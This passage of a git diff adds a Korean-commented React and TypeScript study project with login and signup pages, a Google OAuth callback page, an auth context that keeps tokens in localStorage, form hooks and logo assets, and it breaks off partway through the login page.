+        return Promise.reject(refreshError);
+      }
+    }
+
+    return Promise.reject(error);
+  },
+);
+
+export default axiosInstance;
diff --git a/mission/chapter05/mission_3/src/assets/hero.png b/mission/chapter05/mission_3/src/assets/hero.png
new file mode 100644
index 0000000..cc51a3d
Binary files /dev/null and b/mission/chapter05/mission_3/src/assets/hero.png differ
diff --git a/mission/chapter05/mission_3/src/assets/react.svg b/mission/chapter05/mission_3/src/assets/react.svg
new file mode 100644
index 0000000..6c87de9
--- /dev/null
+++ b/mission/chapter05/mission_3/src/assets/react.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="35.93" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 228"><path fill="#00D8FF" d="M210.483 73.824a171.49 171.49 0 0 0-8.24-2.597c.465-1.9.893-3.777 1.273-5.621c6.238-30.281 2.16-54.676-11.769-62.708c-13.355-7.7-35.196.329-57.254 19.526a171.23 171.23 0 0 0-6.375 5.848a155.866 155.866 0 0 0-4.241-3.917C100.759 3.829 77.587-4.822 63.673 3.233C50.33 10.957 46.379 33.89 51.995 62.588a170.974 170.974 0 0 0 1.892 8.48c-3.28.932-6.445 1.924-9.474 2.98C17.309 83.498 0 98.307 0 113.668c0 15.865 18.582 31.778 46.812 41.427a145.52 145.52 0 0 0 6.921 2.165a167.467 167.467 0 0 0-2.01 9.138c-5.354 28.2-1.173 50.591 12.134 58.266c13.744 7.926 36.812-.22 59.273-19.855a145.567 145.567 0 0 0 5.342-4.923a168.064 168.064 0 0 0 6.92 6.314c21.758 18.722 43.246 26.282 56.54 18.586c13.731-7.949 18.194-32.003 12.4-61.268a145.016 145.016 0 0 0-1.535-6.842c1.62-.48 3.21-.974 4.76-1.488c29.348-9.723 48.443-25.443 48.443-41.52c0-15.417-17.868-30.326-45.517-39.844Zm-6.365 70.984c-1.4.463-2.836.91-4.3 1.345c-3.24-10.257-7.612-21.163-12.963-32.432c5.106-11 9.31-21.767 12.459-31.957c2.619.758 5.16 1.557 7.61 2.4c23.69 8.156 38.14 20.213 38.14 29.504c0 9.896-15.606 22.743-40.946 31.14Zm-10.514 20.834c2.562 12.94 2.927 24.64 1.23 33.787c-1.524 8.219-4.59 13.698-8.382 15.893c-8.067 4.67-25.32-1.4-43.927-17.412a156.726 156.726 0 0 1-6.437-5.87c7.214-7.889 14.423-17.06 21.459-27.246c12.376-1.098 24.068-2.894 34.671-5.345a134.17 134.17 0 0 1 1.386 6.193ZM87.276 214.515c-7.882 2.783-14.16 2.863-17.955.675c-8.075-4.657-11.432-22.636-6.853-46.752a156.923 156.923 0 0 1 1.869-8.499c10.486 2.32 22.093 3.988 34.498 4.994c7.084 9.967 14.501 19.128 21.976 27.15a134.668 134.668 0 0 1-4.877 4.492c-9.933 8.682-19.886 14.842-28.658 17.94ZM50.35 144.747c-12.483-4.267-22.792-9.812-29.858-15.863c-6.35-5.437-9.555-10.836-9.555-15.216c0-9.322 13.897-21.212 37.076-29.293c2.813-.98 5.757-1.905 8.812-2.773c3.204 10.42 7.406 21.315 12.477 32.332c-5.137 11.18-9.399 22.249-12.634 32.792a134.718 134.718 0 0 1-6.318-1.979Zm12.378-84.26c-4.811-24.587-1.616-43.134 6.425-47.789c8.564-4.958 27.502 2.111 47.463 19.835a144.318 144.318 0 0 1 3.841 3.545c-7.438 7.987-14.787 17.08-21.808 26.988c-12.04 1.116-23.565 2.908-34.161 5.309a160.342 160.342 0 0 1-1.76-7.887Zm110.427 27.268a347.8 347.8 0 0 0-7.785-12.803c8.168 1.033 15.994 2.404 23.343 4.08c-2.206 7.072-4.956 14.465-8.193 22.045a381.151 381.151 0 0 0-7.365-13.322Zm-45.032-43.861c5.044 5.465 10.096 11.566 15.065 18.186a322.04 322.04 0 0 0-30.257-.006c4.974-6.559 10.069-12.652 15.192-18.18ZM82.802 87.83a323.167 323.167 0 0 0-7.227 13.238c-3.184-7.553-5.909-14.98-8.134-22.152c7.304-1.634 15.093-2.97 23.209-3.984a321.524 321.524 0 0 0-7.848 12.897Zm8.081 65.352c-8.385-.936-16.291-2.203-23.593-3.793c2.26-7.3 5.045-14.885 8.298-22.6a321.187 321.187 0 0 0 7.257 13.246c2.594 4.48 5.28 8.868 8.038 13.147Zm37.542 31.03c-5.184-5.592-10.354-11.779-15.403-18.433c4.902.192 9.899.29 14.978.29c5.218 0 10.376-.117 15.453-.343c-4.985 6.774-10.018 12.97-15.028 18.486Zm52.198-57.817c3.422 7.8 6.306 15.345 8.596 22.52c-7.422 1.694-15.436 3.058-23.88 4.071a382.417 382.417 0 0 0 7.859-13.026a347.403 347.403 0 0 0 7.425-13.565Zm-16.898 8.101a358.557 358.557 0 0 1-12.281 19.815a329.4 329.4 0 0 1-23.444.823c-7.967 0-15.716-.248-23.178-.732a310.202 310.202 0 0 1-12.513-19.846h.001a307.41 307.41 0 0 1-10.923-20.627a310.278 310.278 0 0 1 10.89-20.637l-.001.001a307.318 307.318 0 0 1 12.413-19.761c7.613-.576 15.42-.876 23.31-.876H128c7.926 0 15.743.303 23.354.883a329.357 329.357 0 0 1 12.335 19.695a358.489 358.489 0 0 1 11.036 20.54a329.472 329.472 0 0 1-11 20.722Zm22.56-122.124c8.572 4.944 11.906 24.881 6.52 51.026c-.344 1.668-.73 3.367-1.15 5.09c-10.622-2.452-22.155-4.275-34.23-5.408c-7.034-10.017-14.323-19.124-21.64-27.008a160.789 160.789 0 0 1 5.888-5.4c18.9-16.447 36.564-22.941 44.612-18.3ZM128 90.808c12.625 0 22.86 10.235 22.86 22.86s-10.235 22.86-22.86 22.86s-22.86-10.235-22.86-22.86s10.235-22.86 22.86-22.86Z"></path></svg>
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/assets/vite.svg b/mission/chapter05/mission_3/src/assets/vite.svg
new file mode 100644
index 0000000..5101b67
--- /dev/null
+++ b/mission/chapter05/mission_3/src/assets/vite.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="77" height="47" fill="none" aria-labelledby="vite-logo-title" viewBox="0 0 77 47"><title id="vite-logo-title">Vite</title><style>.parenthesis{fill:#000}@media (prefers-color-scheme:dark){.parenthesis{fill:#fff}}</style><path fill="#9135ff" d="M40.151 45.71c-.663.844-2.02.374-2.02-.699V34.708a2.26 2.26 0 0 0-2.262-2.262H24.493c-.92 0-1.457-1.04-.92-1.788l7.479-10.471c1.07-1.498 0-3.578-1.842-3.578H15.443c-.92 0-1.456-1.04-.92-1.788l9.696-13.576c.213-.297.556-.474.92-.474h28.894c.92 0 1.456 1.04.92 1.788l-7.48 10.472c-1.07 1.497 0 3.578 1.842 3.578h11.376c.944 0 1.474 1.087.89 1.83L40.153 45.712z"/><mask id="a" width="48" height="47" x="14" y="0" maskUnits="userSpaceOnUse" style="mask-type:alpha"><path fill="#000" d="M40.047 45.71c-.663.843-2.02.374-2.02-.699V34.708a2.26 2.26 0 0 0-2.262-2.262H24.389c-.92 0-1.457-1.04-.92-1.788l7.479-10.472c1.07-1.497 0-3.578-1.842-3.578H15.34c-.92 0-1.456-1.04-.92-1.788l9.696-13.575c.213-.297.556-.474.92-.474H53.93c.92 0 1.456 1.04.92 1.788L47.37 13.03c-1.07 1.498 0 3.578 1.842 3.578h11.376c.944 0 1.474 1.088.89 1.831L40.049 45.712z"/></mask><g mask="url(#a)"><g filter="url(#b)"><ellipse cx="5.508" cy="14.704" fill="#eee6ff" rx="5.508" ry="14.704" transform="rotate(269.814 20.96 11.29)scale(-1 1)"/></g><g filter="url(#c)"><ellipse cx="10.399" cy="29.851" fill="#eee6ff" rx="10.399" ry="29.851" transform="rotate(89.814 -16.902 -8.275)scale(1 -1)"/></g><g filter="url(#d)"><ellipse cx="5.508" cy="30.487" fill="#8900ff" rx="5.508" ry="30.487" transform="rotate(89.814 -19.197 -7.127)scale(1 -1)"/></g><g filter="url(#e)"><ellipse cx="5.508" cy="30.599" fill="#8900ff" rx="5.508" ry="30.599" transform="rotate(89.814 -25.928 4.177)scale(1 -1)"/></g><g filter="url(#f)"><ellipse cx="5.508" cy="30.599" fill="#8900ff" rx="5.508" ry="30.599" transform="rotate(89.814 -25.738 5.52)scale(1 -1)"/></g><g filter="url(#g)"><ellipse cx="14.072" cy="22.078" fill="#eee6ff" rx="14.072" ry="22.078" transform="rotate(93.35 31.245 55.578)scale(-1 1)"/></g><g filter="url(#h)"><ellipse cx="3.47" cy="21.501" fill="#8900ff" rx="3.47" ry="21.501" transform="rotate(89.009 35.419 55.202)scale(-1 1)"/></g><g filter="url(#i)"><ellipse cx="3.47" cy="21.501" fill="#8900ff" rx="3.47" ry="21.501" transform="rotate(89.009 35.419 55.202)scale(-1 1)"/></g><g filter="url(#j)"><ellipse cx="14.592" cy="9.743" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(39.51 14.592 9.743)"/></g><g filter="url(#k)"><ellipse cx="61.728" cy="-5.321" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 61.728 -5.32)"/></g><g filter="url(#l)"><ellipse cx="55.618" cy="7.104" fill="#00c2ff" rx="5.971" ry="9.665" transform="rotate(37.892 55.618 7.104)"/></g><g filter="url(#m)"><ellipse cx="12.326" cy="39.103" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 12.326 39.103)"/></g><g filter="url(#n)"><ellipse cx="12.326" cy="39.103" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 12.326 39.103)"/></g><g filter="url(#o)"><ellipse cx="49.857" cy="30.678" fill="#8900ff" rx="4.407" ry="29.108" transform="rotate(37.892 49.857 30.678)"/></g><g filter="url(#p)"><ellipse cx="52.623" cy="33.171" fill="#00c2ff" rx="5.971" ry="15.297" transform="rotate(37.892 52.623 33.17)"/></g></g><path d="M6.919 0c-9.198 13.166-9.252 33.575 0 46.789h6.215c-9.25-13.214-9.196-33.623 0-46.789zm62.424 0h-6.215c9.198 13.166 9.252 33.575 0 46.789h6.215c9.25-13.214 9.196-33.623 0-46.789" class="parenthesis"/><defs><filter id="b" width="60.045" height="41.654" x="-5.564" y="16.92" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="c" width="90.34" height="51.437" x="-40.407" y="-6.762" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="d" width="79.355" height="29.4" x="-35.435" y="2.801" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="e" width="79.579" height="29.4" x="-30.84" y="20.8" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="f" width="79.579" height="29.4" x="-29.307" y="21.949" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="g" width="74.749" height="58.852" x="29.961" y="-17.13" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="7.659"/></filter><filter id="h" width="61.377" height="25.362" x="37.754" y="3.055" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="i" width="61.377" height="25.362" x="37.754" y="3.055" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="j" width="56.045" height="63.649" x="-13.43" y="-22.082" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="k" width="54.814" height="64.646" x="34.321" y="-37.644" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="l" width="33.541" height="35.313" x="38.847" y="-10.552" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="m" width="54.814" height="64.646" x="-15.081" y="6.78" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="n" width="54.814" height="64.646" x="-15.081" y="6.78" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="o" width="54.814" height="64.646" x="22.45" y="-1.645" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter><filter id="p" width="39.409" height="43.623" x="32.919" y="11.36" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur_2002_17286" stdDeviation="4.596"/></filter></defs></svg>
diff --git a/mission/chapter05/mission_3/src/components/Button.tsx b/mission/chapter05/mission_3/src/components/Button.tsx
new file mode 100644
index 0000000..4601dc0
--- /dev/null
+++ b/mission/chapter05/mission_3/src/components/Button.tsx
@@ -0,0 +1,43 @@
+interface ButtonProps {
+  children: React.ReactNode;
+  onClick?: () => void;
+  disabled?: boolean;
+  variant?: 'primary' | 'secondary' | 'google'; // 버튼 종류
+  type?: 'button' | 'submit';
+  className?: string;
+}
+
+const Button = ({
+  children,
+  onClick,
+  disabled = false,
+  variant = 'primary',
+  type = 'button',
+  className = '',
+}: ButtonProps) => {
+  // variant에 따라 스타일 다르게
+  const variantStyles = {
+    // 파란 버튼 (로그인, 다음, 회원가입 등)
+    primary:
+      'w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300',
+    // 테두리 버튼 (로그아웃 등)
+    secondary:
+      'px-4 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors cursor-pointer',
+    // 구글 버튼
+    google:
+      'w-full flex items-center justify-center gap-2 border border-gray-300 py-3 rounded-md text-lg font-medium hover:bg-gray-100 transition-colors cursor-pointer',
+  };
+
+  return (
+    <button
+      type={type}
+      onClick={onClick}
+      disabled={disabled}
+      className={`${variantStyles[variant]} ${className}`}
+    >
+      {children}
+    </button>
+  );
+};
+
+export default Button;
diff --git a/mission/chapter05/mission_3/src/components/Input.tsx b/mission/chapter05/mission_3/src/components/Input.tsx
new file mode 100644
index 0000000..0568638
--- /dev/null
+++ b/mission/chapter05/mission_3/src/components/Input.tsx
@@ -0,0 +1,32 @@
+import { forwardRef } from 'react';
+
+interface InputProps {
+  type?: string;
+  placeholder?: string;
+  hasError?: boolean;
+  errorMessage?: string;
+}
+
+// forwardRef → react-hook-form의 register가 ref를 전달할 수 있게 해줌
+const Input = forwardRef<HTMLInputElement, InputProps>(
+  ({ type = 'text', placeholder, hasError = false, errorMessage, ...rest }, ref) => {
+    return (
+      <div className="flex flex-col gap-1">
+        <input
+          ref={ref}
+          type={type}
+          placeholder={placeholder}
+          className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+            ${hasError ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+          {...rest}
+        />
+        {/* 에러 메시지 있으면 자동으로 표시 */}
+        {hasError && errorMessage && (
+          <div className="text-red-500 text-sm">{errorMessage}</div>
+        )}
+      </div>
+    );
+  }
+);
+
+export default Input;
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/components/Navbar.tsx b/mission/chapter05/mission_3/src/components/Navbar.tsx
new file mode 100644
index 0000000..f281f40
--- /dev/null
+++ b/mission/chapter05/mission_3/src/components/Navbar.tsx
@@ -0,0 +1,60 @@
+import { useNavigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+import Button from './Button';
+
+const Navbar = () => {
+  const navigate = useNavigate();
+  const { user, logout } = useAuth();
+
+  return (
+    <nav className="flex items-center justify-between px-6 py-4 border-b border-gray-200">
+      {/* 로고 */}
+      <div
+        className="font-bold text-lg cursor-pointer"
+        onClick={() => navigate('/')}
+      >
+        홈
+      </div>
+
+      {/* 버튼 영역 */}
+      <div className="flex gap-2">
+        {user ? (
+          //로그인 된 상태
+          <div className="flex items-center gap-3">
+            <span
+              className="text-gray-600 cursor-pointer hover:text-blue-400 transition-colors"
+              onClick={() => navigate('/mypage')}
+            >
+              마이페이지
+            </span>
+            <Button
+              variant="secondary"
+              onClick={() => {
+                logout();
+                navigate('/');
+              }}
+            >
+              로그아웃
+            </Button>
+          </div>
+        ) : (
+          // 로그인 안 된 상태
+          <>
+            <Button variant="secondary" onClick={() => navigate('/login')}>
+              로그인
+            </Button>
+            <Button
+              variant="primary"
+              onClick={() => navigate('/signup')}
+              className="px-4 py-2 text-sm"
+            >
+              회원가입
+            </Button>
+          </>
+        )}
+      </div>
+    </nav>
+  );
+};
+
+export default Navbar;
diff --git a/mission/chapter05/mission_3/src/components/ProtectedRoute.tsx b/mission/chapter05/mission_3/src/components/ProtectedRoute.tsx
new file mode 100644
index 0000000..0fffe2d
--- /dev/null
+++ b/mission/chapter05/mission_3/src/components/ProtectedRoute.tsx
@@ -0,0 +1,11 @@
+import { Navigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+
+const ProtectedRoute = ({ children }: { children: React.ReactNode }) => {
+  const { user } = useAuth();
+
+  if (!user) return <Navigate to="/login" replace />;
+  return <>{children}</>;
+};
+
+export default ProtectedRoute;
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/context/AuthContext.tsx b/mission/chapter05/mission_3/src/context/AuthContext.tsx
new file mode 100644
index 0000000..33a92e1
--- /dev/null
+++ b/mission/chapter05/mission_3/src/context/AuthContext.tsx
@@ -0,0 +1,61 @@
+import { createContext, useContext, useState } from 'react';
+import axiosInstance from '../api/axios';
+interface User {
+  email: string;
+  nickname: string;
+}
+
+interface AuthContextType {
+  user: User | null;
+  login: (user: User, accessToken: string, refreshToken: string) => void; // ✅ 토큰 파라미터 추가
+  logout: () => void;
+}
+
+const AuthContext = createContext<AuthContextType | null>(null);
+
+export const AuthProvider = ({ children }: { children: React.ReactNode }) => {
+  const [user, setUser] = useState<User | null>(() => {
+    const stored = localStorage.getItem('user');
+    return stored ? JSON.parse(stored) : null;
+  });
+
+  // login 함수에 토큰도 같이 저장
+  const login = (userData: User, accessToken: string, refreshToken: string) => {
+    // 유저 정보 저장
+    setUser(userData);
+    localStorage.setItem('user', JSON.stringify(userData));
+
+    // 토큰 저장
+    // Access Token → 짧은 유효기간, API 요청할 때 사용
+    localStorage.setItem('accessToken', accessToken);
+    // Refresh Token → 긴 유효기간, Access Token 만료시 재발급용
+    localStorage.setItem('refreshToken', refreshToken);
+  };
+
+  const logout = async () => {
+    try {
+      // 서버에 로그아웃 요청
+      await axiosInstance.post('/auth/signout');
+    } catch (error) {
+      console.error('로그아웃 실패:', error);
+    } finally {
+      // 서버 요청 성공/실패 상관없이 로컬은 항상 지워요
+      setUser(null);
+      localStorage.removeItem('user');
+      localStorage.removeItem('accessToken');
+      localStorage.removeItem('refreshToken');
+    }
+  };
+
+  return (
+    <AuthContext.Provider value={{ user, login, logout }}>
+      {children}
+    </AuthContext.Provider>
+  );
+};
+
+export const useAuth = () => {
+  const context = useContext(AuthContext);
+  if (!context) throw new Error('AuthProvider 밖에서 사용 불가!');
+  return context;
+};
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/hooks/useForm.ts b/mission/chapter05/mission_3/src/hooks/useForm.ts
new file mode 100644
index 0000000..dcfc423
--- /dev/null
+++ b/mission/chapter05/mission_3/src/hooks/useForm.ts
@@ -0,0 +1,54 @@
+import { useEffect, useState, type ChangeEvent } from 'react';
+
+interface UseFormProps<T> {
+  initialValue: T;
+  //값이 올바른지 검증하는 함수
+  validate: (values: T) => Record<keyof T, string>;
+}
+
+function useForm<T>({ initialValue, validate }: UseFormProps<T>) {
+  const [values, setValues] = useState(initialValue);
+
+  //"email": true -> touch 됨
+  //"password": false -> touch 안 됨
+  const [touched, setTouched] = useState<Record<string, boolean>>();
+
+  //"email": 이메일은 반드시 @를 포함해야 합니다.
+  const [errors, setErrors] = useState<Record<string, string>>();
+
+  //사용자가 입력값 바꿀 때 실행되는 함수
+  const handleChange = (name: keyof T, text: string) => {
+    setValues({
+      ...values, //기존 입력값 유지
+      [name]: text,
+    });
+  };
+
+  const handleBlur = (name: keyof T) => {
+    setTouched({
+      ...touched,
+      [name]: true,
+    });
+  };
+
+  //이메일과 비밀번호 인풋, 속성들을 가져오는 것
+  const getInputProps = (name: keyof T) => {
+    const value = values[name];
+    const onChange = (e: ChangeEvent<HTMLInputElement | HTMLTextAreaElement>) =>
+      handleChange(name, e.target.value);
+    const onBlur = () => handleBlur(name);
+
+    return { value, onChange, onBlur };
+  };
+
+  //values가 변경될 때 에러검증 로직
+  //변경될 때마다 로직이 변경되어야 하니 useEffect 사용
+  useEffect(() => {
+    const newErrors = validate(values);
+    setErrors(newErrors); //오류 메시지 업데이트
+  }, [validate, values]);
+
+  return {values, errors, touched, getInputProps};
+}
+
+export default useForm;
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/hooks/useLocalStorage.ts b/mission/chapter05/mission_3/src/hooks/useLocalStorage.ts
new file mode 100644
index 0000000..c6a3ad1
--- /dev/null
+++ b/mission/chapter05/mission_3/src/hooks/useLocalStorage.ts
@@ -0,0 +1,29 @@
+import { useState } from 'react';
+
+function useLocalStorage<T>(key: string, initialValue: T) {
+  // 로컬스토리지에서 값을 가져오는 함수
+  const [storedValue, setStoredValue] = useState<T>(() => {
+    try {
+      const item = window.localStorage.getItem(key);
+      // 저장된 값이 있으면 파싱해서 반환, 없으면 초기값 반환
+      return item ? JSON.parse(item) : initialValue;
+    } catch (error) {
+      console.error(error);
+      return initialValue;
+    }
+  });
+
+  // 값을 저장하는 함수
+  const setValue = (value: T) => {
+    try {
+      setStoredValue(value);
+      window.localStorage.setItem(key, JSON.stringify(value));
+    } catch (error) {
+      console.error(error);
+    }
+  };
+
+  return [storedValue, setValue] as const;
+}
+
+export default useLocalStorage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/index.css b/mission/chapter05/mission_3/src/index.css
new file mode 100644
index 0000000..d4b5078
--- /dev/null
+++ b/mission/chapter05/mission_3/src/index.css
@@ -0,0 +1 @@
+@import 'tailwindcss';
diff --git a/mission/chapter05/mission_3/src/layouts/HomeLayout.tsx b/mission/chapter05/mission_3/src/layouts/HomeLayout.tsx
new file mode 100644
index 0000000..d44989b
--- /dev/null
+++ b/mission/chapter05/mission_3/src/layouts/HomeLayout.tsx
@@ -0,0 +1,16 @@
+import { Outlet } from 'react-router-dom';
+import Navbar from '../components/Navbar';
+
+const HomeLayout = () => {
+  return (
+    <div className="h-dvh flex flex-col">
+      <Navbar />
+      <main className="flex-1">
+        <Outlet />
+      </main>
+      <footer>Footer</footer>
+    </div>
+  );
+};
+
+export default HomeLayout;
diff --git a/mission/chapter05/mission_3/src/main.tsx b/mission/chapter05/mission_3/src/main.tsx
new file mode 100644
index 0000000..bef5202
--- /dev/null
+++ b/mission/chapter05/mission_3/src/main.tsx
@@ -0,0 +1,10 @@
+import { StrictMode } from 'react'
+import { createRoot } from 'react-dom/client'
+import './index.css'
+import App from './App.tsx'
+
+createRoot(document.getElementById('root')!).render(
+  <StrictMode>
+    <App />
+  </StrictMode>,
+)
diff --git a/mission/chapter05/mission_3/src/pages/GoogleCallBackPage.tsx b/mission/chapter05/mission_3/src/pages/GoogleCallBackPage.tsx
new file mode 100644
index 0000000..866cfa4
--- /dev/null
+++ b/mission/chapter05/mission_3/src/pages/GoogleCallBackPage.tsx
@@ -0,0 +1,31 @@
+import { useEffect } from 'react';
+import { useNavigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+
+const GoogleCallbackPage = () => {
+  const navigate = useNavigate();
+  const { login } = useAuth();
+
+  useEffect(() => {
+    const params = new URLSearchParams(window.location.search);
+    const accessToken = params.get('accessToken');
+    const refreshToken = params.get('refreshToken');
+    const name = params.get('name') || '';
+    const userId = params.get('userId') || '';
+
+    if (accessToken && refreshToken) {
+      login({ email: userId, nickname: name }, accessToken, refreshToken);
+      navigate('/');
+    } else {
+      navigate('/login');
+    }
+  }, []);
+
+  return (
+    <div className="flex items-center justify-center h-screen">
+      <p className="text-gray-400">로그인 처리 중...</p>
+    </div>
+  );
+};
+
+export default GoogleCallbackPage;
diff --git a/mission/chapter05/mission_3/src/pages/HomePage.tsx b/mission/chapter05/mission_3/src/pages/HomePage.tsx
new file mode 100644
index 0000000..07f9106
--- /dev/null
+++ b/mission/chapter05/mission_3/src/pages/HomePage.tsx
@@ -0,0 +1,24 @@
+import useLocalStorage from '../hooks/useLocalStorage';
+
+const HomePage = () => {
+  const [user] = useLocalStorage<{ email: string; nickname: string } | null>(
+    'user',
+    null,
+  );
+
+  return (
+    <div className="flex flex-col items-center justify-center h-full gap-8 bg-gradient-to-b from-blue-50 to-white">
+      <div className="flex flex-col items-center gap-4">
+        <div className="text-8xl">🌸</div>
+        <h1 className="text-3xl font-bold text-blue-400">환영해요!</h1>
+        <p className="text-gray-400 text-sm">
+          {user
+            ? `${user.nickname}님, 반갑습니다 😊`
+            : '로그인하고 시작해보세요!'}
+        </p>
+      </div>
+    </div>
+  );
+};
+
+export default HomePage;
diff --git a/mission/chapter05/mission_3/src/pages/LoginPage.tsx b/mission/chapter05/mission_3/src/pages/LoginPage.tsx
new file mode 100644
index 0000000..c9775be
--- /dev/null
+++ b/mission/chapter05/mission_3/src/pages/LoginPage.tsx
@@ -0,0 +1,103 @@
+import { useNavigate } from 'react-router-dom';
+import { useForm } from 'react-hook-form';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { signinSchema, type SigninFormValues } from '../utils/validate';
+import { useAuth } from '../context/AuthContext';
+import axiosInstance from '../api/axios'; //
+import Button from '../components/Button';
+import Input from '../components/Input';
+
+const LoginPage = () => {
+  const navigate = useNavigate();
+  const { login } = useAuth();
+
+  const {
+    register,
+    handleSubmit,
+    formState: { errors, isValid },
+  } = useForm<SigninFormValues>({
+    resolver: zodResolver(signinSchema),
+    mode: 'onChange',
+  });
+
+  const onSubmit = async (data: SigninFormValues) => {
+    try {
+      const response = await axiosInstance.post('/auth/signin', {
+        email: data.email,
+        password: data.password,
+      });
+
+      const { name, accessToken, refreshToken } = response.data.data;
+
+      login({ email: data.email, nickname: name }, accessToken, refreshToken);
+
+      navigate('/');
+    } catch (error) {
+      console.error('로그인 실패:', error);
+      alert('이메일 또는 비밀번호가 올바르지 않습니다.');
+    }
+  };
+
+  const onGoogleLogin = () => {
+    window.location.href = 'http://localhost:8000/v1/auth/google/login';
+  };
+
+  return (
+    <div className="flex flex-col h-full">
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => navigate('/')}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">로그인</h1>
+      </div>
+
+      <div className="flex flex-col items-center justify-center flex-1 gap-4">
+        <div className="flex flex-col gap-3 w-[300px]">
+          <Input
+            {...register('email')}
+            type="email"
+            placeholder="이메일을 입력해주세요!"
+            hasError={!!errors.email}
+            errorMessage={errors.email?.message}
+          />
+          {errors.email && (
+            <div className="text-red-500 text-sm">{errors.email.message}</div>
+          )}
+          <Input
+            {...register('password')}
+            type="password"
+            placeholder="비밀번호를 입력해주세요!"
+            hasError={!!errors.password}
